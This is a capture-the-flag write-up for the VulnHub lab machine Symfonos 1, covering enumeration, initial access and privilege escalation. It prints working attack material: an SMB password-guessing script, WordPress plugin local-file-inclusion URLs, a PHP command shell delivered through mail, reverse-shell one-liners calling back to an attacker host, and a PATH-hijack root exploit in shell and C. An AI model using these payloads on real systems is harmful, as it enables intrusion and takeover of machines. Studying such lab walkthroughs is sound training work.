Vulnhub: Symfonos 1

Vulnhub: Symfonos 1

General Information / Brief

Like many other OSCP alumni with lab time expired and in search for alternatives for practice - one will eventually lead upon TJnull list of OSCP-like boxes. While searching though VulnHub - I've stumbled upon the Symfonos series and was quite shocked it is not included in TJnull list. It was really a fun series, certainly memorial and after much practice from previous boxes - definitely test your confidences in enumeration.

Scope

The first runner up in the series will target Symfonos 1 - the scope of this module is to demonstrate specifically the importance of enumeration and gather all information for the complete target picture before exploitation. Also to practice using all methods in a practice environment - to save time during live engagement.

When it comes to OSCP certification - it has been said countless times that ones methodology that works for one, may not works others. The release of this series write-up is to show the methodology that works for me and the approach used to a target from complete enumeration to exploitation - with the hope of serving as an inspiration to take it and create your own, just as I did with others.

Reconnaissance


Target Address
Symfonos 1 192.168.1.85

Quick initial scan on target to note open ports and services.

rustscan -a 192.168.1.85 -- -sC -sV

Initial scan result.

$ rustscan -a 192.168.1.85 -- -sC -sV  
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.  
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |  
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |  
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'  
The Modern Day Port Scanner.  
________________________________________  
: https://discord.gg/GFrQsGy           :  
: https://github.com/RustScan/RustScan :  
 --------------------------------------  
...   
Open 192.168.1.85:22  
Open 192.168.1.85:25  
Open 192.168.1.85:80  
Open 192.168.1.85:139  
Open 192.168.1.85:445  
[~] Starting Script(s)  
...
PORT    STATE SERVICE     REASON  VERSION  
22/tcp  open  ssh         syn-ack OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)  
| ssh-hostkey:   
...
25/tcp  open  smtp        syn-ack Postfix smtpd  
| ssl-cert: Subject: commonName=symfonos  
| Subject Alternative Name: DNS:symfonos  
| Issuer: commonName=symfonos  
| Public Key type: rsa  
| Public Key bits: 2048  
| Signature Algorithm: sha256WithRSAEncryption  
| Not valid before: 2019-06-29T00:29:42  
| Not valid after:  2029-06-26T00:29:42  
| MD5:   086e c75b c397 34d6 6293 70cd 6a76 c4f2  
| SHA-1: e3dc 7293 d59b 3444 d39a 41ef 6fc7 2006 bde4 825f  
| -----BEGIN CERTIFICATE-----  
...
|_-----END CERTIFICATE-----  
|_ssl-date: TLS randomness does not represent time  
|_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8  
80/tcp  open  http        syn-ack Apache httpd 2.4.25 ((Debian))  
|_http-server-header: Apache/2.4.25 (Debian)  
|_http-title: Site doesn't have a title (text/html).  
| http-methods:   
|_  Supported Methods: OPTIONS HEAD GET POST  
139/tcp open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
Service Info: Host:  symfonos.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Host script results:  
|_clock-skew: mean: 0s, deviation: 0s, median: 0s  
| smb2-time:   
|   date: 2022-10-21T15:02:03  
|_  start_date: N/A  
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)  
| p2p-conficker:   
|   Checking for Conficker.C or higher...  
|   Check 1 (port 2581/tcp): CLEAN (Couldn't connect)  
|   Check 2 (port 61283/tcp): CLEAN (Couldn't connect)  
|   Check 3 (port 37978/udp): CLEAN (Failed to receive data)  
|   Check 4 (port 52175/udp): CLEAN (Failed to receive data)  
|_  0/4 checks are positive: Host is CLEAN or ports are blocked  
| nbstat: NetBIOS name: SYMFONOS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)  
| Names:  
|   SYMFONOS<00>         Flags: <unique><active>  
|   SYMFONOS<03>         Flags: <unique><active>  
|   SYMFONOS<20>         Flags: <unique><active>  
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>  
|   WORKGROUP<00>        Flags: <group><active>  
|   WORKGROUP<1d>        Flags: <unique><active>  
|   WORKGROUP<1e>        Flags: <group><active>  
| Statistics:  
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
|_  00 00 00 00 00 00 00 00 00 00 00 00 00 00  
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)  
| smb2-security-mode:   
|   3.1.1:   
|_    Message signing enabled but not required  
| smb-security-mode:   
|   account_used: guest  
|   authentication_level: user  
|   challenge_response: supported  
|_  message_signing: disabled (dangerous, but default)  
...

Nmap scan each ports for service and default nmap script.

nmap -sC -sV -p22,25,80,139,445 192.168.1.85
  • -sC: run default nmap scripts
  • -sV: detect service version

Returns the following result showing that 05 ports are open:

  • Port 22: OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
  • Port 25: Postfix smtpd
  • Port 80: Apache httpd 2.4.25 ((Debian))
  • Port 139/445: Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

Initial nmap service and script scan result.

Check - Same result as above.

Before probing ports - re-run and re-check with full nmap scan in background session for full report.

nmap -sC -sV -O -p- 192.168.1.85
  • -sC: run default nmap scripts
  • -sV: detect service version
  • -O: detect OS
  • -p-: all ports.

Returns the following result showing that 00 ports are open: No new ports to report.

None.

Run an nmap scan with the -sU flag enabled to run a UDP scan.

nmap -sU --top-port 1000 192.168.1.85

Reports back the following result. No new ports to report.

None.

Enumeration


Port 25 - SMTP

Probing the target port via nmap smtp script did not yield useful report. Operator scan users utilizing tool smtp-user-enum and reported result from wordlist usernames.txt. (Other wordlist report same standard unix/linux system users.)

Note:
Wordlist file usernames.txt is a internal version developed using jeanphorn username wordlist, combined with other username list from SecList to avoid using multiple wordlist for multiple probe.

smtp-user-enum -M VRFY -U usernames.txt -t 192.168.1.85

Reported username helios.

image1

Port 139/445 - SMB

Probing the target port via nmap smb script scan reported share listing. Operator utilized tool smbmap to probe share listing.

image2

Share anonymous is accessible via anonymous login and also noted share helios with comment: Helios personal share - specifically the username helios. Scan via enum4linux report also confirms user helios validity on target.

image3

Crafted smbclient command to login and extracted all data files - report only extracted file attention.txt.

$ smbclient //192.168.1.85/anonymous -c 'recurse ON;prompt OFF;mget *'
Password for [WORKGROUP\kali]:
getting file \attention.txt of size 154 as attention.txt (150.4 KiloBytes/sec) (average 150.4 KiloBytes/sec)

Extracted file attention.txt data dumped: Warning note for users.

image4

With information - operator can compile list of possible username and password to scan target entry points for credential access.

# Possible Username:
helios
Zeus

# Possible Password:
epidioko
qwerty
baseball

Starting with smb and utilizing tools such as crackmapexec, hydra, nmap smb-brute failed on target - but manually with smbmap succeeded. Operator made it complicated with the creation of the following script, note to change USER_NAME variable for username input.

#!/usr/bin/python3
import subprocess

RHOST = "192.168.1.85"
# Adjust Username to needs:
USER_NAME = "helios"
# Password wordlist:
file = "pass.txt"
passwords = open(file).read().split()
Prefex = ["smbmap", "-H", "-u", "-p"]

def main():

    length = len(passwords)
    i = 0

    while i < length:
        try:
            print("[+] Trying password: " + passwords[i])
            # Structure Commands.
            command_stuct = ' '.join([Prefex[0],Prefex[1],RHOST,Prefex[2],USER_NAME,Prefex[3]])
            # Send it.
            command_send = ' '.join([command_stuct, passwords[i]])
            res = subprocess.call(command_send, shell = True)
            i += 1
        except:
            print("[-] Error!")
    
if __name__ == "__main__":
    main()
    print("[+] ** Sort through off-net analysis manually.. **")
# <ME> I know, I know, I keep making things complicated.
# <THERAPIST> .. Yes.

Deploying script on target, operator cracked credentials to user helios which returns privilege 'READ ONLY' access.

image5

# Credentials:
helios:qwerty

Following same operating procedure with new credentials - operator can crafted smbclient command to login and extracted all data files on target. Return report extracted file research.txt and todo.txt.

$ smbclient //192.168.1.85/helios -U helios -c 'recurse ON;prompt OFF;mget *'
Password for [WORKGROUP\helios]: qwerty
getting file \research.txt of size 432 as research.txt (140.6 KiloBytes/sec) (average 140.6 KiloBytes/sec)
getting file \todo.txt of size 52 as todo.txt (50.8 KiloBytes/sec) (average 118.2 KiloBytes/sec)

Extracted file research.txt data dumped: A history brief on Helios and possible wordlist file.

$ cat research.txt 
Helios (also Helius) was the god of the Sun in Greek mythology. He was thought to ride a golden chariot which brought the Sun across the skies each day from the east (Ethiopia) to the west (Hesperides) while at night he did the return journey in leisurely fashion lounging in a golden cup. The god was famously the subject of the Colossus of Rhodes, the giant bronze statue considered one of the Seven Wonders of the Ancient World.

Extracted file todo.txt data dumped: Noted /h3l105 as possible web directory.

image6

Port 80 - HTTP

Operator placed this analysis report last - due to analysis from other service coincide with http service. Probing the target port - front end view.

image7

Viewing source contains a single image.jpg - contains no data information via exiftool. Directory and extension scan did not yield useful report. External analysis from target smb port 139/445 reported hidden extension /h3l105 --> http://192.168.1.85/h3l105/.

image8

Operator noted target running wordpress application, but page appears broken - view source report all links are directed to url http://symfonos.local. Issue can be fix with edit of file /etc/hosts and adding 192.168.1.85 symfonos.local.

image9

Refresh browser --> extension /h3l105 --> http://192.168.1.85/h3l105/.

image10

WordPress application report possible username: admin.

image11

Probing /h3l105/wp-login.php extension --> http://symfonos.local/h3l105/wp-login.php.

image12

Noted WordPress login panel - username can also be enumerated manually. e.g. Username: admin with incorrect password reports the following incorrect password error.

image13

Other invalid username - reports a invalid username error.

image14

Operator probe WordPress application utilizing tool wpscan and noted plugin scan did not yield result . Switching to aggressive plugin scan with the --plugins-detection aggressive --force flag reported plugin: mail-masta and site-editor on target extension.

image15

Initial Access


Exploitation Synopsis:

In this exercise - operator will exploit vulnerable WordPress plugin to exploit local file inclusion to poison target mail log and utilize access to local file to execute operating system command.

Exploitation Incident Report:

Plugin: site-editor

Scan with tool wpscan report 80% confidences of plug-in version 1.1.1. Operator research phase on: wordpress site-editor exploit lead to first link, contains advisory guide for exploitation.

http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

Plugin: mail-masta

Scan with tool wpscan mentions plug-in is up-to-date at version 1.0. Operator research phase on:wordpress mail-masta exploit leads to link, contains advisory guide for exploitation.

# File: `/inc/lists/csvexport.php`
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd
Exploitation (LFI - Proof-of-Concept)

Target listed 2 WordPress plug-in with 3 files vulnerable to Local File Inclusion. Plugin and file extension to exploit is option-free.

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd

image16

Exploitation (LFI - Internal Analysis - Situation Report)

Probing through the target via WordPress local file inclusion vulnerability, did not manage to retrieve wp-config.php for credential leaks or access any users ssh key, shell history, default SQL location, etc.

Operator did managed to confirm file /home/helios/.bashrc as a valid bash shell user profile file. File .bash_history was not accessible or has been set to /dev/null. Probing for log files for log poisoning was also unsuccessful.

Exploitation (LFI - User: mail - Internal Analysis)

Probing /var/log/mail.log failed and default mail location not on user home directory, but operator did manage to view user helios emails stored on target /var directory.

# Known default Locations:
/var/mail/$(whoami)       --> /var/mail/helios
/var/spool/mail/$(whoami) --> /var/spool/mail/helios

Browse to user helios mail at /var/mail/helios or /var/spool/mail/helios.

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/var/spool/mail/helios

image17

User helios mail did not report any credentials leaks, but did provide other informational leaks of target system email address.

root@symfonos.localdomain
helios@symfonos.localdomain
Exploitation (LFI - User: mail - Payload Delivery)

Operator can exploit target smtp email access to insert a PHP hook and remotely execute operating system commands. Exploitation is similar to log poisoning, except no log files are involve and operator is using local file inclusion reading access to target user email to render and execute PHP code.

In the following task - operator will send web hook contain PHP code <?php echo system($_REQUEST['cmd']);?> to target mail. First by using tool SendMail and second by sending mail manually. Payload delivery choice is option-free, but is advisable to note all options.

Payload Delivery: SendMail

First send test message to see if message is browsable through LFI vulnerability.

sendEmail -f root@symfonos.localdomain -t helios@symfonos.localdomain -u package_1 -m "test" -s 192.168.1.85:25

Error has been reported with SSL routine and certificate verification error.

image18

During research phase, noted issue is service SSL versioning and fix possible from server side (target) downgrade. Operator can manipulate the SendMail SSL option with the -o tls= parameter - reported success with no option.

sendEmail -f root@symfonos.localdomain -t helios@symfonos.localdomain -u package_1 -m "test" -s 192.168.1.85:25 -o tls=no

Browse to user helios mail via LFI vulnerability at /var/mail/helios confirmed send mail success.

image19

SendMail payload delivery - replay. Note that PHP $_REQUEST variable requires quotes around the cmd input field and operator can switch quotes in place. e.g. Single quotes to bracket message, double quotes for input field and vis-versa.

sendEmail -f root@symfonos.localdomain -t helios@symfonos.localdomain -u package_2 -m '<?php echo system($_REQUEST["cmd"]);?>' -s 192.168.1.85:25 -o tls=no

Payload Delivery: Manual

In this task - operator report operating procedure for manual payload delivery. Delivery is basic sending mail via active connection with netcat or telnet session on target smtp service port 25. Manual payload delivery - replay.

EHLO symfonos.localdomain
VRFY helios@symfonos.localdomain <-- Check user before mailing.

MAIL FROM:root@symfonos.localdomain

RCPT TO:helios@symfonos.localdomain
DATA
<?php echo system($_REQUEST['cmd']);?>
.

QUIT

Note: Double check mail at /var/mail/helios if payload has been sent successfully.

Exploitation (LFI - PHP Web Hook - Command Execution)

With web hook payload sent, operator can browse to user helios mail at /var/mail/helios and insert and execute command by PHP parameter &cmd=[OS COMMAND].

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/var/mail/helios&cmd=id

Output report will be cluttered and will require scrolling and often closer examination. If using browser to control web hook - best to view-source to prettify output rather than relying on front end rendered view.

image20

Exploitation (LFI - PHP Web Hook - Implanting)

Operator can utilize browser, curl or burp suite (Option-free) to control PHP web hook and insert a interactive beacon. Operator wasted time again and made things difficult by writing another python script for ease. (Really, it makes it easier for re-implanting or testing other payloads.)

#!/usr/bin/env python3
# 
# Print Result - OS COMMANDS:
# - Realistically - mail data send afterward is continious, but payload output is
#   specific to single mail. If regex'ing through, output will be way off.
# - Disabled and enter OS command blindly.
import requests
import re
import urllib.parse

# URL + Wordpress extension:
RHOST = "http://symfonos.local/h3l105"
# filepath + vuln LFI file:
file_path = "/wp-content/plugins/mail-masta/inc/lists/csvexport.php"
# Payload string:
PL_string = "?pl=/var/mail/helios&cmd=" 
def main():

  while(True):
    command_input= input(">>")
    if command_input == 'exit' or command_input== 'quit':
      break
    else:
      r = requests.get(RHOST + file_path + PL_string + "{}".format(urllib.parse.quote(command_input,safe='')))
      # print(r.text)

if __name__ == "__main__":
    main()
# <ME> .. I keep doing this, I keep making things--
# <THERAPIST> I know!

Utilizing the PHP web hook to insert another stabilize session beacon, the following list of payloads has confirmed success on target.

nc -e /bin/bash 192.168.1.113 8081

bash -c 'bash -i >& /dev/tcp/192.168.1.113/8081 0>&1'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.113",8081));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Activate listening post handler for beacon session callback on port 8081 and send payload on target. Response from listening post.

image21

Successful exploitation should yield callback session as user helios privilege.

Privilege Escalation


Exploitation Synopsis:

In this exercise - operator will probe target internals and exploit a misconfigured binary by path hijacking to elevate privilege to superuser.

Exploitation Incident Report:

During internal analysis, operator noted WordPress configuration file wp-config.php. Extracted file /var/www/html/h3l105/wp-config.php data dumped - contained possible credential.

/** MySQL database username */
define( 'DB_USER', 'wordpress' );

/** MySQL database password */
define( 'DB_PASSWORD', 'password123' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
# Possible Credentials:
Username: wordpress
Password: password123

Accessing database (internally) via MySQL client confirm valid credential. Operator extracted WordPress hash for user admin.

image22

admin: $P$B8GkoAZZA6.9fooDdaL05B0sazTW0P/                     

No other useful report for target database. Internal password spray using WordPress password password123 failed. Off-Net cracking session for WordPress hash for user admin also failed.

Operator probe internal for suid binaries and noted /opt/statuscheck.

image23

File /opt/statuscheck is owned by root and set to suid, but file not listed in GTFObin or known. Operator profile binary to be custom made and must manually perform binary analysis.

Executing file /opt/statuscheck output report of some sort of http web check on localhost, due to output Server: Apache/2.4.25 (Debian) matching external analysis of target http port 80 - possibly utilizing curl.

image24

Operator utilize strings to probe for plain ascii characters and confirms binary is utilizing curl to check status of localhost http.

Note: The capital H seems to be newline statement or \n equivalent and can be ignored.

image25

Running command curl -I http://localhost on target session, confirms output identical to target binary /opt/statuscheck output. Note that strings command on target binary /opt/statuscheck reports the curl command is not using absolute path. Attack path could allow operator to exploit 'Environment Variables - Relative Paths' to elevate privilege.

Exploitation (Elevate to user: root)

In this task - operator will prepend a directory to beginning of current path environment variables, allowing binary /opt/statuscheck to execute a backdoored version of the curl command in the specified directory first.

Operator will be working out of target /tmp directory and add /tmp to beginning session path environment variable. Exploitation requires payload named curl to placed in /tmp directory, the following list of command strings to generate payload has been tested and confirmed successful on target. (Option-free.)

printf 'cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash\n' > /tmp/curl; chmod +x /tmp/curl;

echo "cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash" >> curl; chmod +x /tmp/curl

echo 'bash -ip' >> /tmp/curl; chmod +x /tmp/curl

Build essentials is installed on target - another option is to utilize suid.c.

// Compile, rename and place in /tmp/curl.
#include <stdio.h>
#include <stdlib.h>

int main() {
    setresuid(0,0,0);
    setresgid(0,0,0);
    system("/bin/bash");
}

Prepend /tmp to path environment and double check path environment.

export PATH=/tmp:$PATH

# Double Check:
echo $PATH

image26

Execute /opt/statuscheck. The following replay was done with the following payload: echo 'bash -ip' >> /tmp/curl; chmod +x /tmp/curl.

image27

Successful exploitation should elevate session to user root privilege. Thanks to the author for installing build essentials on target, operator made things complicated again and came up with the following *.c exploit.

/* 
 * STEPS:
 * - Create payload (shell script) --> /tmp/curl
 * - Set Path
 * - Execute.
 * - Payload --> Cleanup /tmp/curl after exit.
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>

int main(void)
{
   char fName[] = "/tmp/curl";
   char path[100]="PATH=";
   char *input = "/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games"; // sized at: 77
   FILE *fp;
   
   printf("[+] Create Payload --> /tmp/curl\n");
   int fd = open(fName, O_RDWR | O_CREAT, 0777);
   fp = fdopen(fd, "w");
   fprintf(fp, "bash -ip\necho [+] Cleaning up.\nrm /tmp/curl\n");
   fclose(fp);

   printf("[+] Setting Path..\n");
   putenv(strcat(path, input));

   printf("[+] Execute!\n");
   execl("/opt/statuscheck", "/opt/statuscheck", NULL);
   
   return 0;
}
// <ME> Don't lecture me about programming bad habitz.
// <THERAPIST> *sigh*... You know know I will.

*.c exploit execution - replay.

image28

Proof

image29

Exploitation Post-Incident Report


  • Local File Inclusion (Poisoning) - Don't have to rely on log file access to poison, check mail access to poison or basically any file that can be edit externally and allow LFI privilege access to view and render PHP.
  • Send Mail (Error handling) - Be fluent and aware with options in your tools and know alternative (including manual) methods - during deployment, operator can be flexible to adjust without delays.

Spelling, errors or any other issues to report. Please - be kind and let me know.

Until then...

spellcheck-2